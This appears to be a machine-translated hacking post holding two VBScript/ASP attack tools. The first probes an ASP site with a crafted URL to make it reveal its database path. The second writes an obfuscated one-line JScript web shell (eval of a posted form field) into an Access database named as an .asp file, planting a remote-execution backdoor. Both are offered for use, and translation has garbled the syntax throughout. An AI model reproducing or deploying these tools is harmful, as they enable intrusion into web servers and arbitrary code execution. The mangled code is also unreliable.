Dim xstatus, tstatus, vserver, vheader, vrsbody
Geterror = inputbox ("Please enter the website, e.g.: http://www.hackerxfiles.com/files/list.asp? Id = 415 "," Enter URL "," http://www.hackerxfiles.com/files/list.asp? (ID = 415 ")
If geterror = "" then
Msgbox ("input error, Program End! ")
Wscript. Quit
End if
Geterror = strreverse (geterror)
Tem2 = 0
For I = 1 to Len (geterror)
If mid (geterror, I, 1) = CHR (47) and tem2 = 0 then
Temp = temp & "C5 %"
Tem2 = tem2 + 1
Else
Temp = temp & Mid (geterror, I, 1)
End if
Next
Geterror = strreverse (temp)
call xmlpost (geterror)
errortext = vserver & "& xstatus
basesaver = getstr (vrsbody," file not found '","'. "& CHR (10)
If basesaver =" [none] "then
basesaver = getstr (vrsbody, " '", "' is not a valid path. ")
end if
If basesaver =" [none] "then
basesaver = getstr (vrsbody," open registry keyword '","'. ")
end if
If basesaver = "[none]" then
Allreturn = "<title> mappath error obtaining database address lilo </title> <body scroll = 'no' bgcolor = 'menu 'style = 'border: 0pt; margin-left: 5pt '> <B> "& errortext &" </B> <br> <textarea rows = '15' name = 's1' Cols = '57 '>" & vrsbody & "</textarea>"
Else
Allreturn = "<title> mappath error obtaining database address lilo </title> <body scroll = 'no' bgcolor = 'menu 'style = 'border: 0pt; margin-left: 5pt '> <B> "& errortext &" </B> <br> <textarea rows = '15' name = 's1' Cols = '57 '>" & basesaver & "</textarea>"
End if
Call openwin (allreturn)
Set whshell = wscript. Createobject ("wscript. Shell ")
Whshell. appactivate "mappath error getting database address lilo"
'Whshell. sendkeys ("% {tab }")
Set whshell = nothing
Function urlencoding (vstrin)
Strreturn = ""
For I = 1 to Len (vstrin)
Thischr = mid (vstrin, I, 1)
If ABS (ASC (thischr) <& HFF then
Strreturn = strreturn & thischr
Else
Innercode = ASC (thischr)
If innercode <0 then
Innercode = innercode + & h10000
End if
Hight8 = (innercode and & hff00) \ & HFF
Low8 = innercode and & HFF
Strreturn = strreturn & "%" & hex (hight8) & "%" & hex (low8)
End if
Next
Urlencoding = strreturn
End Function
Function bytes2bstr (VIN)
Strreturn = ""
For I = 1 to lenb (VIN)
Thischarcode = ASCB (midb (Vin, I, 1 ))
If thischarcode <& h80 then
Strreturn = strreturn & CHR (thischarcode)
Else
Nextcharcode = ASCB (midb (VIN, I + 1, 1 ))
Strreturn = strreturn & CHR (clng (thischarcode) * & h100 + CINT (nextcharcode ))
I = I + 1
End if
Next
Bytes2bstr = strreturn
End Function
Function xmlpost (iurl)
On Error resume next
Ipost = urlencoding (ipost)
Set xpost = Createobject ("Microsoft. XMLHTTP ")
Xpost. Open "Post", iurl, false
Xpost. Send
Xstatus = xpost. Status
Tstatus = xpost. statustext
Vserver = xpost. getResponseHeader ("server ")
Vheader = xpost. getAllResponseHeaders
Vrsbody = bytes2bstr (xpost. responsebody)
Set xpost = nothing
End Function
Function getstr (vstring, istring, dstring)
Vsum = instr (vrsbody, istring)
If vsum = 0 then getstr = "[none]": Exit Function
Esum = instr (vsum, vrsbody, dstring)
If esum = 0 then getstr = "[none]": Exit Function
Getstr = mid (vrsbody, vsum + Len (istring), esum-vsum-len (istring ))
End Function
Function inttostr (vnum, vlen)
If Len (vnum)> = vlen then inttostr = vnum: Exit Function
For I = 1 to vlen-len (vnum)
Inttostr = inttostr & "0"
Next
Inttostr = inttostr & CSTR (vnum)
End Function
Function getsplit (unstr, vastr, Mode)
Atemp = Split (unstr, vastr)
Btemp = ubound (atemp)
Select case Mode
Case-1: getsplit = atemp
Case-2: getsplit = btemp
End select
If mode <0 Then exit function
If mode> btemp then getsplit = false: Exit Function
If mode> = 0 then getsplit = atemp (Mode)
End Function
Function openwin (vttv)
Set Ie = wscript. Createobject ("internetexplorer. application ")
Ie. navigate "about: blank"
Ie. Visible = 1
Ie. toolbar = 0
Ie. statusbar = 0
Ie. width = 500
Internet Explorer. Height = 335
Do While (ie. Busy): loop
Set Doc = ie. Document
Doc. Open
Execute "Doc. writeln" & CHR (34) & vttv & CHR (34)
Doc. Close
Set Ie = nothing
End Function
The other is written by me. Insert ASP into accessCodeAs a backdoor, this should have been my first initiative, but I do not know whether other people have discovered it earlier. Later, a message was circulated on the Internet to insert a sentence directly to the database to get webshell. Without knowing it, four years have passed and people are old. Is it just nostalgia?
<%
DB = "0123.asp" 'Here is your database address
Set conn = server. Createobject ("ADODB. Connection ")
Connstr = "provider = Microsoft. Jet. oledb.4.0; Data Source =" & server. mappath (db)
Conn. Open connstr
'Add notdownload table
Conn.exe cute ("create table notdownload (notdown oleobject )")
'Write <% data
Set rs = server. Createobject ("ADODB. recordset ")
SQL = "select * From notdownload"
Rs. Open SQL, Conn, 1, 3
Rs. addnew
RS ("notdown "). appendChunk (chrb (ASC ("<") & chrb (ASC ("S") & chrb ("C ")) & chrb (ASC ("R") & chrb (ASC ("I") & chrb (ASC ("p") & chrb (ASC ("T ")) & chrb (ASC ("") & chrb (ASC ("R") & chrb (ASC ("U") & chrb (ASC ("N ")) & chrb (ASC ("A") & chrb (ASC ("T") & chrb (ASC ("=") & chrb (ASC ("S ")) & chrb (ASC ("e") & chrb (ASC ("R") & chrb (ASC ("v") & chrb (ASC ("e ")) & chrb (ASC ("R") & chrb (ASC ("") & chrb (ASC ("L") & chrb (ASC ("")) & chrb (ASC ("N") & chrb (ASC ("G") & chrb (ASC ("U") & chrb (ASC ("")) & chrb (ASC ("G") & chrb (ASC ("e") & chrb (ASC ("=") & chrb (ASC ("J ")) & chrb (ASC ("A") & chrb (ASC ("v") & chrb (ASC ("A") & chrb (ASC ("S ")) & chrb (ASC ("C") & chrb (ASC ("R") & chrb (ASC ("I") & chrb (ASC ("p ")) & chrb (ASC ("T") & chrb (ASC (">") & chrb (ASC ("e") & chrb (ASC ("v ")) & chrb (ASC ("A") & chrb (ASC ("L") & chrb (ASC (") & chrb (ASC (" R ")) & chrb (ASC ("e") & chrb (ASC ("Q") & chrb (ASC ("U") & chrb (ASC ("e ")) & chrb (ASC ("S") & chrb (ASC ("T") & chrb (ASC (". ") & chrb (ASC (" F ") & chrb (ASC (" O ") & chrb (" R ")) & chrb (ASC ("M") & chrb (ASC ("(") & chrb (ASC ("'") & chrb (ASC ("#")) & chrb (ASC ("'") & chrb (ASC (")") & chrb (ASC ("+") & chrb (ASC ("'")) & chrb (ASC ("'") & chrb (ASC (")") & chrb (ASC ("<") & chrb (ASC ("/")) & chrb (ASC ("S") & chrb (ASC ("C") & chrb (ASC ("R") & chrb (ASC ("I ")) & chrb (ASC ("p") & chrb (ASC ("T") & chrb (ASC ("> ")))
Rs. Update
Rs. Close
Set rs = nothing
'Close the connection
Conn. Close
Set conn = nothing
%>